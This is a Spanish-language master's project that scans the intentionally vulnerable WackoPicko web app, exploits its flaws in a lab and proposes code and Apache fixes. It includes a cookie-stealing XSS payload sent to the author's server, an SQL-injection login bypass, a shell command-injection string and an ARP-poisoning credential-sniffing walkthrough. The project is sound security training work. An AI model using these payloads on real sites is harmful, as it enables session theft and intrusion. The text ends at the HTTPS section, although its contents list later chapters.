Módulo 3. Desarrollo Seguro

Nombre y apellidos Aitor Lebrón Ruiz

Fecha entrega

Este trabajo es el proyecto final del Módulo 3, Desarrollo Seguro, del máster en Ciberseguridad de IMF Bussines School. Consiste en un análisis pormenorizado de la aplicación web vulnerable WackoPicko (https://github.com/adamdoupe/WackoPicko ) disponible

en la imagen vulnerablewebapps disponible para descarga en http://www.vulnerablewebapps.org/. En este caso se instalará la imagen del servidor Linux en una máquina virtual gestionada por Virtualbox en un sistema Windows 7 ultimate x64. Además de identificar y confirmar las vulnerabilidades descubiertas por las herramientas de escaneo automático se pide ofrecer soluciones para las mismas modificando el código de la página web. Por último se solicita una serie de Buenas Prácticas a implementar en el proceso de creación de una página web como la que nos atañe.

Contenido 1.Identificar todas las vulnerabilidades que tiene la aplicación 2

1.1 Resultado del análisis con VEGA 3

1.1.1 Alto (19) 5

1.1.2 Medio (151) 7

1.1.3 Low (24) 7

1.1.4 Info 7

1.2 Resultados del análisis con OWASP ZAP 8

1.2.1 Por nivel de severidad. 8

1.2.2 Por tipo de incidencia 9

1.3 El scanner de Burp Suite 11

2. Explotación de las vulnerabilidades 12

2.1 Cross Site Scripting Persistente y Reflejado 12

2.2 Inyección SQL 18

2.3 Inyección remota de comandos 21

2.4 Exploración de directorios 25

2.5 Manipulación de parámetros 27

2.6 Falla de seguridad en HTTP 28

2.7 Aplicación de voucher de descuento ilimitada 38

2.8 Archivo de información PHP 40

2.9 Debilidad de las contraseñas 44

2.10 Remote File Upload. 46

2.11 Obteniendo el control del servidor. 50

2.12 Recomendaciones de Buenas Prácticas a implementar. 53

3. Conclusiones 54

1. Identificar todas las vulnerabilidades que tiene la aplicación

Si bien el enunciado del apartado determina que se deben usar alguna de las herramientas sugeridas para escanear de manera automática la web WackoPicko, me ha parecido interesante hacer una confrontación de los resultados obtenidos por una y por otra aplicación. Aquí se recogen los resultados tanto del escaneo automático con VEGA y con OWASP ZAP. Ambas herramientas han sido ejecutadas en su última versión desde un equipo con Kali-linux como sistema operativo. En este proceso de análisis con ambas herramientas vemos como las posibles vulnerabilidades encontradas en la web se reflejan tanto en una aplicación como en la otra, en la siguiente tabla es evidente que VEGA arroja más resultados, aunque en esencia son los mismos en ambos casos. El uso de estas herramientas facilita el análisis de una web en busca de posibles fallos, si bien debe tenerse en cuenta que, todos los arrojados en las aplicaciones no son siempre todos los que existen o algunos que se marcan como encontrados, puede que no lo sean. Por eso, ante las alertas generadas por cada aplicación habrá que realizar un proceso de verificación de la vulnerabilidad, este proceso se tratará en el segundo apartado del presente trabajo “Explotación de las vulnerabilidades”. VEGA OWASP ZAP

Cleartext Password over HTTP Cross Site Scripting Persistente

Cross Site Scripting Cross Site Scripting Reflejada

MySQL Error Detected Falla por inyección SQL

Page Fingerprint Differential Inyección remota de comandos OS

Session Cookie Without HttpOnly Flag Exploración de directorios

Shell injection Manipulación de parámetros

SQL injection X-Frame-Option Header not Set

Local Filesystem Paths Found Cookies sin HttpOnly flag

PHP Error Detected Web Browser XSS protection not enabled

Directory Listing X-Content-Type-Options Header sin definir

Form Password Field with Autocomplete

Blank Body Detected

Rojo: Nivel de severidad ALTO Naranja: Nivel de severidad MEDIO

Character Set not Specified

2

HTTP Error Detected Verde: Nivel de severidad BAJO Azul: Información

X-Frame-Option Header not set A continuación se ofrece un pequeño resumen de los resultados obtenidos con ambas herramientas tras realizar un análisis a la web WackoPicko alojada en 192.168.1.113:81 (esta dirección cambiará a lo largo del documento)

1.1 Resultado del análisis con VEGA Vega es una herramienta para Linux que analizará recursivamente un servidor web, esto es, en todas las páginas visibles analizará su estructura e intentará diferentes sistemas de intrusión de manera automática. Para hacernos con la herramienta Vega, desde una terminal ejecutaremos la orden: $sudo apt-get install vega. Los paquetes se descargarán e instalarán y para ejecutarla bastará con introducir ‘vega’ en la terminal.

El funcionamiento de Vega es muy sencillo e intuitivo, bastará con que introduzcamos la URL de la página que se desee escanear. Posteriormente nos da la opción de realizar el escaneo con una identidad válida en la web. En este caso el escaneo es como usuario anónimo. Tras unos minutos, Vega terminará el escaneo y aglutinará los resultados en la pantalla.

3

Vega clasifica ocurrencias en diferentes tipos de vulnerabilidad encontrados en la página de WackoPicko. Nos los muestra organizados por grado de severidad en: Alto, Medio, Bajo y añade una sección de información.

Una de las características de este tipo de herramientas es que, durante el proceso de búsqueda de vulnerabilidades y como consecuencia de sus intentos de encontrar dichas vulnerabilidades, dejan la web llena de ‘huellas’. Un atacante que lance una herramienta de estas dejará clara constancia de que alguien ha intentado explotar las vulnerabilidades de la web ya que deja cientos de comentarios, registra usuarios con nombres genéricos (ZAP),… Este tipo de información residual tras un intento de ataque debiera alertar a cualquier webmaster que se preocupe por su página web. Además el administrador de la página deberá actuar en consecuencia al resultado de lescaneo, es por eso que, en base a este tipo de comentarios, usuarios,... se podrían crear alertas a modo de IDS. Por ejemplo, si se crea un comentario o un usuario con nombre: ZAP, VEGA, query, <script>,…

4

1.1.1 Alto (19) Vega encuentra 19 incidencias de grave riesgo en el diseño de la página, a su vez nos las identifica por tipo de vulnerabilidad. El nivel que otorga a las incidencias está fundamentado en base a lo común, lo fácil y el nivel de incidencia que la explotación de dichas vulnerabilidades pudiera tener en nuestro servidor. Cleartext Password over HTTP (3) En aquellas páginas de acceso en las que la información es enviada a través de protocolo HTTP, esta información es sensible a ser descubierta por un atacante que se encuentre en la red. El uso de HTTPS es recomendado para aquellas secciones de la web que traten información sensible como las contraseñas. En este caso WackoPicko es, presumiblemente, vulnerable a la interceptación de contraseñas en las páginas /admin/, /admin/login.php y /passcheck.php Cross Site Scripting (3) Todas aquellas secciones en las que los usuarios puedan introducir texto son críticas y deben ser debidamente tratadas y sanitanizadas. Los ataques XSS (Cross Site Scripting) son consecuencia de una laxa verificación de los caracteres insertables en la web. Esto acarrea como consecuencia que los usuarios sean capaces de insertar códigos o scripts que puedan ser interpretados por el navegador de los usuarios. Vega encuentra con éxito 3 incidencias XSS en la web, estas se encuentran en /guestbook.php, /pictures/search.php, /users/login.php y además vega incluye el código con el que ha probado la existencia de esta vulnerabilidad. No obstante, aquí no aparecen reflejados todos aquellos apartados en la web que son vulnerables a XSS. Por esto es importante confirmar las vulnerabilidades y comprobar que estas no se reproducen en más campos de texto. MySQL Error - Possible SQL Injection /users/login.php

5

En este caso, la vulnerabilidad no está confirmada automáticamente por Vega. Para este caso nos indica que ha probado la inclusión de una consulta POST en login.php con el contenido: username=Joey’ -- > “>’>’” password=vega. Si se confirma esta inyección podríamos tener resultados como el acceso a la web como un usuario X sin conocer su contraseña. Page Fingerprint Differential - Possible Local File Include (4) Para comprobar este tipo de vulnerabilidad, Vega revisa las URLs de la web de manera que ejecuta consultas como /admin/?page=./. O /users/login.php?page=./. De tener éxito en esta consulta podría indicar que se pueden llegar a incluir páginas de la estructura de la web.

Resultado del LFI

Session Cookie Without HttpOnly Flag Uno de los ataques XSS más comunes es el robo de las cookies. Estas son identificadores de usuarios válidos en la web, se almacenan para mejorar la navegación a través de la aplicación permitiendo que el usuario no tenga que loguearse continuamente. En este caso Vega indica que el parámetro HttpOnly no está establecido a la hora de generar las cookies y esto implica que el valor de la cookie se puede leer y suplantar desde el lado del cliente. Session Cookie Without Secure Flag Al igual que en la eventualidad anterior, la web WackoPicko no tiene en cuenta las opciones de seguridad añadidas en la generación de cookies, en este caso, Vega recomienda el uso de Secure durante la generación de la cookie. Shell Injection /passcheck.php WackoPicko nos ofrece un servicio de comprobación de robustez en la contraseña que deseamos probar, este campo, que parece inofensivo es un punto crítico de la aplicación web ya que hace uso de los recursos del servidor para efectuar una comprobación. Esto se traduce en la ejecución de un comando en el servidor. Vega hace una comprobación sencilla probando a insertar una cadena en la que se encadenen diferentes comandos. SQL Injection (5) Vega comprueba introduciendo clásicas consultas SQLi con las que pretende confirmar la existencia de este tipo de vulnerabilidad. En este caso Vega indica que, al menos en 5 ocasiones ha encontrado la posibilidad de ejecutar un ataque de este tipo. Vega indica que en /admin,

6

/admin/index.php, /passcheck.php, /users/login.php y /users/register.php existe la posibilidad de ocurrencia de inyección SQL. 1.1.2 Medio (151) Local filesystem Paths found (24) En este punto tenemos un listado de aquellas páginas php a las que se tiene acceso desde la navegación natural de la web. Esto nos permite acceder al código de la página y por tanto, nos facilita la visualización de posibles fallas en la programación de la misma y podremos orientar diferentes ataques. PHP Error Detected (127) Esta sección de VEGA nos arroja los errores devueltos por la página durante su escaneo, pudiera ser muy útil en muchos sentidos, así es como nos hacemos eco de posibles vulnerabilidades en la web. Por ejemplo, mediante la interpretación de los errores devueltos por la web ante según qué texto se introduzca en algún campo, podemos llegar a reconstruir la forma de la consulta SQL que se realiza en determinado momento. 1.1.3 Low (24) Directory Listing Detected (21) En este punto, Vega indica aquellas URLs de la aplicación web que dejan al descubierto el contenido de los directorios, se considera un evento de baja repercusión ya que, en principio, el usuario que cae en dicha URL sólo puede ver el contenido de cada carpeta. Sin embargo y como veremos más adelante, esta vulnerabilidad puede usarse de manera conjunta con otro tipo de ataque (file upload) para convertirse en un ataque especialmente crítico. Form Password Field with Autocomplete Enabled (3) Vega advierte de aquellos formularios en los que la función de autocompletado está activada, esto puede generar problemas de seguridad ya que un usuario Y puede llegar a leer aquella introducción de texto de un usuario anterior X y por tanto, desclasificar algún tipo de información que, a priori sería conveniente tener oculta. Así pues, podríamos saber el login del usuario que utilizó el navegador previo a nosotros. 1.1.4 Info (89) Blank Body detected Se descubre que /cart/add_coupon.php es una página en blanco. Si bien esto en sí mismo no es una vulnerabilidad, pudiera indicar algún tipo de fallo en el diseño de la web o un error en el funcionamiento de la misma. Character Set Not Specified

7

Vega arroja información sobre la construcción de la web. En este caso nos indica que no se ha establecido un conjunto de caracteres válidos en la aplicación (como pudiera ser UTF-8) de manera que un atacante pudiera escapar las restricciones por caracter haciendo uso de encoding en un, por ejemplo, ataque XSS. HTTP Error Detected. Aquí se nos muestran errores de HTTP encontrados durante el escaneo de la web. En este caso devuelve un 403 Forbiden. Al acceder a /icons/. X-Frame-Option Header Not Set (60) En este caso Vega nos muestra aquellas páginas dentro de WackoPicko (60) en las que las opciones de X-Frame no están establecidas. Esto puede acarrear problemas como click-jacking ya que un atacante puede incluir marcos propios que redirijan a otro recurso. Se recomienda establecer el header X-Frame en DENY, SAMEORIGIN o ALLOW-FROM.

1.2 Resultados del análisis con OWASP ZAP Al igual que VEGA, ZAP es un programa que permite automatizar la prueba de diferentes fallas contempladas en el proyecto OWASP. OWASP ZAP se encuentra de manera nativa en Kali-Linux y bastará con buscarla en el menú de herramientas ‘Webapps’

ZAP nos proporciona un informe detallado de aquellas pruebas que ha realizado y en las que ha encontrado posibles vulnerabilidades. Además también incluye la prueba que ha realizado. Si bien, ZAP organiza los 10 resultados por tipo de incidencia y por nivel de severidad. 1.2.1 Por nivel de severidad.

8

Alto (XSS persistente, XSS reflejado, SQLi, inyección remota de comandos) Medio (Exploración de directorios, manipulación de parámetros, X-Frame-options) Bajo (Cookie sin HttpOnly Flag, Navegador no protegido frente a XSS, X-Content-Type-Options)

Como se comentaba anteriormente, ZAP nos da un informe detallado de la vulnerabilidad escaneada, cómo ha escaneado y por qué determina que es factible que exista dicha vulnerabilidad.

1.2.2 Por tipo de incidencia XSS Persistente ZAP encuentra una posible vulnerabilidad XSS en la página /guestbook.php realizando la prueba </p><script>alert(0);</script><p> XSS Reflejado (3) ZAP encuentra tres posibles vulnerabilidades XSS reflejadas en las páginas /users/login.php, /pictures/search.php/ y en /guestbook.php realizando la prueba </p><script>alert(1);</script><p> Falla por inyección SQL

9

ZAP determina que la inyección SQL puede ser posible en 3 ocasiones. En las páginas /users/login.php, /users/logout.php y en /users/login.php por el método POST. Realiza la comprobación: query' AND '1'='1' -- Inyección remota de comandos En este caso la aplicación ZAP realiza una prueba con éxito en la página /passcheck.php forzando la ejecución del comando sleep 15 mediante la consulta: ZAP &sleep 15 & Exploración de directorios (11) En este caso ZAP ofrece como resultado aquellos directorios que ofrecen una exploración de listado. Esto permite al usuario ver el contenido de las carpetas en el servidor. Estos directorios son: /cart/, /css/, /css/blueprint/, /pictures/, /upload/, /upload/doggie/, /upload/flowers/, /upload/house/, /upload/toga/, /upload/waterfall/ y /users/. Manipulación de parámetros (15) ZAP manipula con el valor: online <b> los parámetros que se pueden pasar a la web. De esta manera recoge los errores enviados por el servidor. X-Frame-Options Header not Set (20) En este apartado se listan aquellas páginas en las que la opción X-Frame-Options no está habilitada, para la página WackoPicko parece ser que es generalizado el problema. Cookie no HttpOnly Flag ZAP identifica que durante la generación de la cookie no se utiliza la opción HttpOnly. Web Browser XSS Protection Not Enabled (23) ZAP avisa de que el navegador no tiene habilitada la opción anti XSS, algo que afecta a la navegación en toda la web. X-Content-Type-Options Header Missing (33) La cabecera Anti-MIME-Sniffing X-Content-Type-Options no tiene el valor ‘nosniff’. Esto permite, en versiones antiguas de Internet Explorer y Chrome construir un tipo MIME en el cuerpo de la respuesta, permitiendo que el intérprete maneje este fichero como si fuera de un tipo de contenido siendo de otro tipo al declarado. La solución consiste en asegurar que el servidor web tiene la cabecera Content-Type correctamente configurada y que el X-Content-Type-Options está establecido en ‘nosniff’ para todas las páginas web. Si es posible, asegurarse de que el Usuario final utiliza un navegador web que no procese ningún tipo de MIME-sniffing o que pueda ser ordenador, por parte del servidor web a no realizarlo.

10

1.3 El scanner de Burp Suite Si bien no se pide que se utilice esta herramienta, como para la realización de este trabajo se ha empleado en numerosas ocasiones quería reflejar la capacidad de Burp Suite para identificar y escanear vulnerabilidades en una web. Del mismo modo que lo hacen Vega u OWASP ZAP, Burp Suite recorrerá los directorios y páginas de la web en busca de errores de diseño y fallas de seguridad en la misma. También los organiza por el nivel de severidad en caso de explotarse dichos fallos.

Una vez termina el escaneo, ofrece un listado de posibles vulnerabilidades encontradas y sugerencias de corrección en el código para mitigar estos fallos.

En esta ocasión no se realiza el escaneo con esta herramienta por ser redundante y ya haber sido escaneada (la web WackoPicko) con dos herramientas de análisis previamente.

11

2 Explotación de las vulnerabilidades Explotar las vulnerabilidades, indicando cómo se ha explotado cada vulnerabilidad y cuál ha sido el resultado. Proponer, al menos, una medida de prevención para cada vulnerabilidad analizada (se entiende como medidas de prevención las modificaciones en el código donde se encuentra el problema). Se podrán indicar medidas adicionales sobre buenas prácticas de seguridad relativas a la tipología de la vulnerabilidad.

2.1 Cross Site Scripting Persistente y Reflejado En esta ocasión se pone a prueba la vulnerabilidad conocida como XSS, el mismo problema se encuentra en las dos variantes, persistente y reflejado de manera que se expone el caso del XSS Persistente como muestra de ambos ya que el problema es similar y la solución pasaría por el mismo procedimiento. Así pues, tras observar los resultados devueltos por las aplicaciones de escaneo automático vemos que en todos aquellos espacios en los que el usuario puede introducir texto y debido a la falta de filtros en estas entradas se encuentra la vulnerabilidad; es un problema global en esta página y no un caso aislado en alguna entrada de texto. Una explotación clásica de esta vulnerabilidad es el robo de credenciales, la intercepción y uso de una cookie legítima asignada a un usuario. Se expone, en la siguiente figura, el esquema de ataque.

La idea es sencilla, el atacante tiene un servidor web con capacidad para subir y escribir ficheros, en el caso expuesto este servidor web es un Apache2, con motor php 7.0 que se aloja en la Raspberry Pi.

12

En este servidor tenemos una página php que recoge la cookie de un usuario y la escribe en un fichero local, en el servidor Apache2. El propósito de esta página maliciosa es ser introducida, cargada y ejecutada en el servidor a atacar, aparte de la cookie podríamos sustraer otras variables de sistema como __User__, __Dir__,… Debido a un problema de configuración, la redirección en el servidor no se ejecuta correctamente, pero para fines didácticos es igual de válido. Así que introducimos un código javascript que se ejecute automáticamente en el servidor de WackoPicko, para esto nos valemos del Cross Site Scripting. Usaremos:

<script>document.location=’http://192.168.1.2/lapurra.php?c=’+document.cookie</script> No hace falta encodear los caracteres ‘< >’ ni modificamos la cadena script por la falta de sanitización, además nos permite introducir un número lo suficientemente alto de caracteres como para no tener que hacer uso de acortadores de URL. Este comando carga la página ‘lapurra.php’ del servidor 192.168.1.2 (Raspberry Pi) y la ejecuta con la variable ‘c’ almacenando el document.cookie del usuario que entre a la página en la que el comentario se aloja. Al explotar un XSS Persistente, lo que conseguimos es que todos los usuarios que caigan en esta página envíen la información de su sesión al servidor del atacante, quien almacena en un archivo ‘log.txt’ los códigos de cookies robados.

Las cookies sirven para mantener la sesión del usuario, de manera que el robo y empleo de las mismas permiten al atacante suplantar la identidad del usuario legítimo y realizar acciones, ver el historial de cambios, modificar la información,… de todos los usuarios que caigan en la sección donde el atacante haya dejado el código javascript malicioso. Otro de los ataques típicos que hacen uso del Cross Site Scripting es el “defacement”, es decir, la sustitución de la web original por una customizada. El ataque es el mismo, con la diferencia de que la página php a la que llamamos, en lugar de realizar acciones (o incluso también) de robo de credenciales sólo muestra un mensaje, una imagen que, típicamente, sirve para que el atacante demuestre su éxito. Evidentemente, las consecuencias de un ataque XSS son muchas, tantas como el atacante sea capaz de idear. 2.1.1 Solución

Una de las maneras de paliar los efectos de ataques XSS es alterar el contenido del archivo de

configuración de Apache. En este caso, ya que nos encontramos en una máquina con Ubuntu

13

este fichero se encuentra en /etc/apache2/apache2.conf. En este caso consiste en introducir una cabecera de seguridad.

Header set X-XSS-Protection “1;mode = block”

Estableciendo estos parámetros a la cabecera X-XSS-Protection tenemos habilitada la funcionalidad de Apache que contiene un filtro XSS y que previene de renderizar la página solicitada en caso de encontrar un ataque XSS.

Activaremos el mod_headers haciendo uso de a2enmod headers

Modificamos el fichero de configuración: /conf-enabled/security.conf

14

Se puede observar la nueva cabecera en la que están habilitados los filtros X-Content-Type-Options,

X-Frame-Options y X-XSS-Protection. En este caso las modificaciones a realizar se han hecho en /pictures/search.php que también es vulnerable a XSS y las siguientes medidas se deberían tomar para todos los casos en los que el usuario introduzca texto. Además, en los cajetines de texto deberemos restringir la entrada de caracteres, tendremos en cuenta: Limitar los caracteres de entrada: usando la variable maxlength (nativa de html) podremos establecer un número máximo de caracteres que se puedan introducir en cada campo. Teniendo en cuenta el uso de la página y el tipo de formularios a incluir podríamos establecer un máximo de 15 o 20 caracteres, excepto para el campo de texto relativo al comentario en Guestbook y el comentario de cada imagen. Sanear los datos: Deberemos eliminar las Tags HTML que puedan entrar en los cuadros de texto, a fin de cuentas, ningún usuario de la web necesita dar formato a sus comentarios, ni mucho menos a su nombre, Nick u otros campos. Por eso se recomienda el uso de strip_tags. Tal que

$comentario=strip_tags($_POST[‘comentario’]);

15

Esto es aplicable a las demás variables que introduce el usuario.

Escapar los datos: Por último, podemos evitar mostrar los caracteres extraños en la respuesta de la página, es decir, escapar aquellos caracteres que consideremos susceptibles de hostilidad.

.htmlspecialchars($_GET[‘query’])

Htmlentities($_GET[‘query’])

16

Finalmente se observa que, aun introduciendo una cadena de inyección XSS, esta pasa desapercibida y no se ejecuta.

17

2.2 Inyección SQL Al comienzo de este test de explotación de vulnerabilidad tenía en mente el realizar una serie de pruebas con el fin de “volcar” el contenido de la base de datos de la web, sin embargo, desde la página de login se encuentra riesgo de inyección SQL y con consecuencias tan graves que finalmente se muestra el ejemplo de loggeo en la web sin el conocimiento de la contraseña de un usuario creado (la cuenta de cualquier usuario creado es susceptible), este caso en particular es el que nos sugieren las herramientas automáticas de escaneo de vulnerabilidades y es el que pondremos a prueba. En primer lugar se introduce el carácter de escape “ ’ ” y analizamos la respuesta

Como vemos en la respuesta hemos creado un error, esto indica que el carácter ‘ se puede introducir y aquí comienza la vulnerabilidad SQLi. Podemos intuir que la consulta que se realiza a la base de datos será de la forma:

SELECT * FROM users WHERE (username=’$user’ AND password=’$pass’); Seguimos analizando el error devuelto y se observa que el nombre de usuario no recibe tratamiento mientras que la contraseña (pass) se modifica con SAL y se encripta con SHA1. También queda claro que se añade una comilla simple al final de la cadena, comprobamos dejando una condición con el último carácter limpio y la respuesta es otra:

SELECT * FROM users WHERE (username=’user’ and ‘1’=’1’ AND password=’$pass’);

18

El usuario ha entrado con la consulta completa, pero la validación de contraseña sigue ejecutándose, para evitar esto deberemos hacer uso del comentario.

La consecuencia de introducir el comentario, es que nuestra consulta se convierte en:

SELECT * FROM users WHERE (username=’scanner1’ -- ’ AND password=’$pass’); Nótese que tras el doble carácter de comentario se deja un espacio en blanco. De esta manera obviamos la sección de la consulta en la que se requiere una contraseña para ingresar en la web. El resultado, se puede entrar en la web sin utilizar una contraseña, siempre y cuando se utilice un nombre de usuario ya creado. Estos nombres de usuario los podemos obtener observando la sección de comentarios con un usuario ya creado o como se ilustra en el próximo apartado 2.5 Manipulación de parámetros.

En la figura se muestra el acceso a la web con el usuario “scanner1” sin haber introducido la contraseña para el usuario. Finalmente, como apunte cabe decir que una vez tengamos subida una Shell php al servidor podremos atacar la base de datos e intentar ganar acceso a la misma mediante las herramientas que algunas de estas shells tienen integradas.

19

2.2.1 Solución Puesto que en el caso de los logins no nos importa el tipo de dato que el usuario introduce (cadena o texto) obviaré Mysql_real_scape_string(); Esta función propia de php analiza los caracteres introducidos por el usuario uno por uno y modifica la consulta evitando los caracteres epeciales (comilla simple, comillas dobles, \x00, \x1,…), de manera que se convierte en una query segura para ejecutar en nuestro mySQL. Sin embargo en esta versión de php está desactivada pro ser una versión posterior al php5.0, otra de las opciones que se dan es el empleo de la funcionalidad mySQLi (donde la i viene de ‘improved’) Sin embargo en este caso, escapearemos los caracteres extraños usando el htmlentities.

Como resultado tenemos, que introduciendo la cadena “scanner1’ – - “ no podemos acceder sin la contraseña, como sí ocurría antes.

20

2.3 Inyección remota de comandos

En esta sección de la web, WackoPicko ofrece un servicio de comprobación de robustez de contraseña a emplear, como indica en la información de la web hace uso del comando grep y compara con el archivo /etc/dictionaries-common/words. Esto indica, demasiado claramente, que sin la correcta sanitización del parámetro, se pueden ejecutar comandos. La idea es que se introduce una cadena para que el comando grep haga su trabajo y se continúa con otros. Como sabemos que el servidor es un Linux, el separador entre comandos que vamos a emplear es ‘|’ En este caso, para comprobar que el ataque tiene efecto crearemos una carpeta en el servidor WackoPicko. De hecho, la manera en que los programas automáticos comprueban la efectividad de la inclusión de comandos es mejor que esta, el empleo del comando “sleep” y comprobar que la página web tarda en responder tanto tiempo como especifiquemos, es un buen indicador de que nuestra inyección de comandos está siendo fructífera. No obstante, por ser más gráfico en la demostración realizo esta prueba.

21

Introducimos 1234 |mkdir ./upload/intrusión y comprobamos, desde el lado del servidor que esto ocurre.

Es cierto que, con los permisos que tiene el usuario www-data estamos bastante restringidos en la zona en la que podemos crear ficheros o carpetas y los comandos que se pueden utilizar. Al intentar ejecutar algún comando con “sudo” he notado, en el lado del servidor, que se activa una alerta mail para el usuario root, de parte del usuario www-data y que alerta de un intento de ejecución. En este caso, la web no permite ver la respuesta del equipo servidor, por ello presento los cambios desde la máquina virtual.

22

2.3.1 Solución

23

En primer lugar observamos que la función que comprueba si la contraseña es robusta o no es ciertamente básica. OWASP recomienda realizar una correcta validación de los parámetros introducidos por el usuario, evitar utilizar llamadas a comandos del sistema directamente (en lugar de usar mkdir(), usar funciones como system(),en su lugar) y escapar los caracteres especiales con escapeshellarg() o escapeshellcmd(). Lo ideal sería alterar la variable $pass tal que:

$pass = escapeshellcmd($pass);

En la imagen se observa que se introduce el carácter “\” previo al carácter de concatenación de comandos “|”, esto evita que el comando se ejecute. También deshabilitaremos el uso de funciones peligrosas en el archive php.ini valiéndonos de la directiva “disable_functions” Por ejemplo, podremos eliminar: exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source.

disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

24

2.4 Exploración de directorios Se comprueba que, efectivamente, los directorios: /cart/, /css/, /css/blueprint/, /pictures/, /upload/, /upload/doggie/, /upload/flowers/, /upload/house/, /upload/toga/, /upload/waterfall/ y /users/ que han sido arrojados por las herramientas automáticas de detección de fallos se pueden ver en su directorio raíz.

25

Este fallo, que no parece tan crítico pues no permite más que la visualización del contenido de las carpetas en el servidor puede convertirse en colaboración con otro ataque, en un fallo crítico y si el contenido de las carpetas no está controlado, podría dar lugar a la desclasificación de información sensible. Navegando por la web entre los directorios sin un index encontramos un archivo interesante en /include. Se llama ourdb.php y parece contener información relativa a la base de datos. 2.4.1 Solución Deberemos deshabilitar la funcionalidad que permite mostrar los directorios en caso de no encontrar un archivo “index”. Esto se consigue, en Apache mediante la modificación del fichero de configuración donde deberemos establecer:

Options – Indexes

Añadiendo esta condición en /var/www/wackopicko se soluciona el problema de que el servidor muestre el contenido de las carpetas sin un index.

26

2.5 Manipulación de parámetros La falta de control en el diseño de la web nos permite manipular los parámetros fácilmente y en múltiples puntos de la web. Por ejemplo, en la URL /users/view.php?userid= podemos introducir valores numéricos del 1 al 11 para ver los perfiles de los usuarios creados. De aquí podremos extraer un listado de nombre de usuarios válidos para poder usarlos posteriormente con alguna herramienta de brute-forcing y descubrir la contraseña para los usuarios válidos. Nos ahorrará tiempo en la búsqueda de usuarios válidos pues la misma web nos los ofrece. De esta exploración obtenemos los nombres:

userid username

1 User

2 bob

3 --

4 scanner1

5 scanner2

6 scanner3

7 scanner4

8 scanner5

9 wanda

10 calvinwatter

11 bryce

Además de esta información, la manipulación de parámetros nos permite acceder a las versiones en alta resolución de las imágenes sin haberlas comprado. Esto es una suposición ya que al intentar realizar pruebas modificando la URL /pictures/high_quality.php?picid=10&key=highquality alterando el picid la web arroja un error que no debería, parece ser que algo está mal montado en esta imagen. Esta conclusión se extrae tras haber comprado una de las imágenes, y nunca llegó a mostrarse de manera que estuve indagado en el funcionamiento correcto de la aplicación en foros de Internet.

27

Y sin embargo, el fichero “highquality.php” está.

2.5.1 Solución La major solución que se presenta es el evitar que los parámetros se puedan incluir en una consulta o cadena, incluso en un formulario oculto Los parámetros que deban ser enviados desde el cliente al servidor deberán ser acompañados por un validador, una especie de Token que se pueden almacenar en la cookie de sesión del usuario. En caso de que la variable a enviar no se pueda eliminar, lo ideal será que esta sea resultado de una encriptación con MD5 (MD5 digest) así nos aseguraremos de que este parámetro, aunque permanezca visible, no será legible. Esto nos permite asegurar que el valor no será leído por alguien o el valor reemplazado. 2.6 Falla de seguridad en HTTP, escucha de la contraseña por no estar encriptada Este tipo de fallo en la seguridad de la web es crítico y fácil de mitigar, sin embargo, es muy frecuente ver que muchas páginas de acceso están programadas para funcionar en HTTP y no HTTPS. La diferencia entre los dos protocolos es que, mientras HTTP envía la información en texto plano, HTTPS lo hace de manera encriptada. Esta falla es crítica ya que, en las páginas relacionadas con el login de un usuario, un atacante podrá extraer la información de login si realiza un ataque MiTM (Man in The Middle).

28

Este será el tipo de ataque que llevaremos a cabo para comprobar que, efectivamente, se puede ‘sniffear’ las credenciales de acceso de un usuario. Buscamos en la red, nuestro objetivo.

Nmap - Pn 192.168.1.0/24 → 192.168.1.113 Nmap scan report for 192.168.1.113 Host is up (0.0091s latency). Not shown: 994 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 81/tcp open hosts2-ns 82/tcp open xfer 5001/tcp open commplex-link 8080/tcp open http-proxy MAC Address: 08:00:27:B9:64:8F (Oracle VirtualBox virtual NIC) De este escaneo tenemos como resultado un listado de todos los equipos conectados a la red. El resultado mostrado arriba es el relativo al servidor web donde vemos los servicios que tiene funcionales y los puertos que tiene abiertos.

Para realizar el ataque MiTM se emplea la herramienta Ettercap.

Ettercap 0.8.2 >> Unified sniffing (ARP: sniff remote connections && only poison one way: + Port Stealing: sniff remote connections:) >> Enter targets >> 192.168.1.190 Tras establecer la configuración del ataque MiTM deberemos abrir Wireshark y comenzar la ‘escucha’ de las conversaciones en la red.

29

Ahora, en el equipo 192.168.1.190. Realizamos el login con una cuenta y usuario conocidos, en este caso: scanner1:scanner1 y salimos de la aplicación. Wireshark >> Wlan0 >> ip.src==192.168.1.190&&tcp

Observamos nuestras capturas de Wireshark y filtramos aquellas que provienen del equipo al que ‘escuchamos’ y el protocolo TCP. Encontramos así las comunicaciones entre la página web WackoPicko y el cliente 192.168.1.190. Buscamos aquellas páginas que nos parezcan interesantes, obviamente login.php es nuestro objetivo. Hacemos uso de la opción Follow HTTP stream, que nos recopila las comunicaciones HTTP relativas a esta acción y nos muestra el contenido de las mismas.

30

Al abrir el contenido de la comunicación vemos la falla en HTTP, las credenciales de acceso a la web se envían sin ser encriptadas y podemos leerlas sin problema desde nuestro Kali-Linux. También tenemos acceso a la Cookie sin ser controlada, de manera que podríamos suplantar al usuario scanner1 sin problema. Esta vulnerabilidad estaría presenta también en la página de login para administradores /admin/index.php?page=login donde las variables a buscar en wireshark serían adminname y password.

31

2.6.1 Solución Forzar la aplicación web para que use encriptación en la comunicación con el usuario, nos valdremos del protocolo HTTPS y para ello deberemos configurar el servidor y la aplicación. Cuando se habilita SSL en un servidor las páginas que éste albergue no se redireccionan automáticamente a HTTPS sino que hay que cambiar el HTTP:// de la URL por HTTPS://. Para simplificar esto lo mejor es realizar un redireccionamiento automático. Se puede realizar esta redirección para una sola página, para el sitio completo, para todas las páginas de todos los sitios del servidor,… puesto que en este caso se trata de asegurar la web wackopicko la solución se centrará únicamente en habilitar HTTPS para este sitio (virtual host). Comprobar que los módulos rewrite y ssl estén activados en el servidor Apache. $sudo ae2enmod rewrite

$sudo ae2enmod ssl

32

Cada una de las páginas almacenadas en el servidor tiene su propio fichero de configuración, de manera que localizaremos la que nos interese: 002-wackopicko.conf.

$sudo nano 002-wackopicko.conf

33

Añadimos la instrucción de redirección en el virtualhost.

34

Generamos unas claves SSL para la web: $sudo openssl req -new -x509 -nodes -out /etc/ssl/certs/wackopicko.crt -keyout /etc/ssl/private/wackopicko.key

35

Como el fichero propio de wackopicko ya está creado, sólo añadiremos:

SSLEngine on

SSLCertificateFile /etc/ssl/certs/wackopicko.crt

SSLCertificateKeyFile /etc/ssl/private/wackopicko.key

Reiniciamos Apache.

36

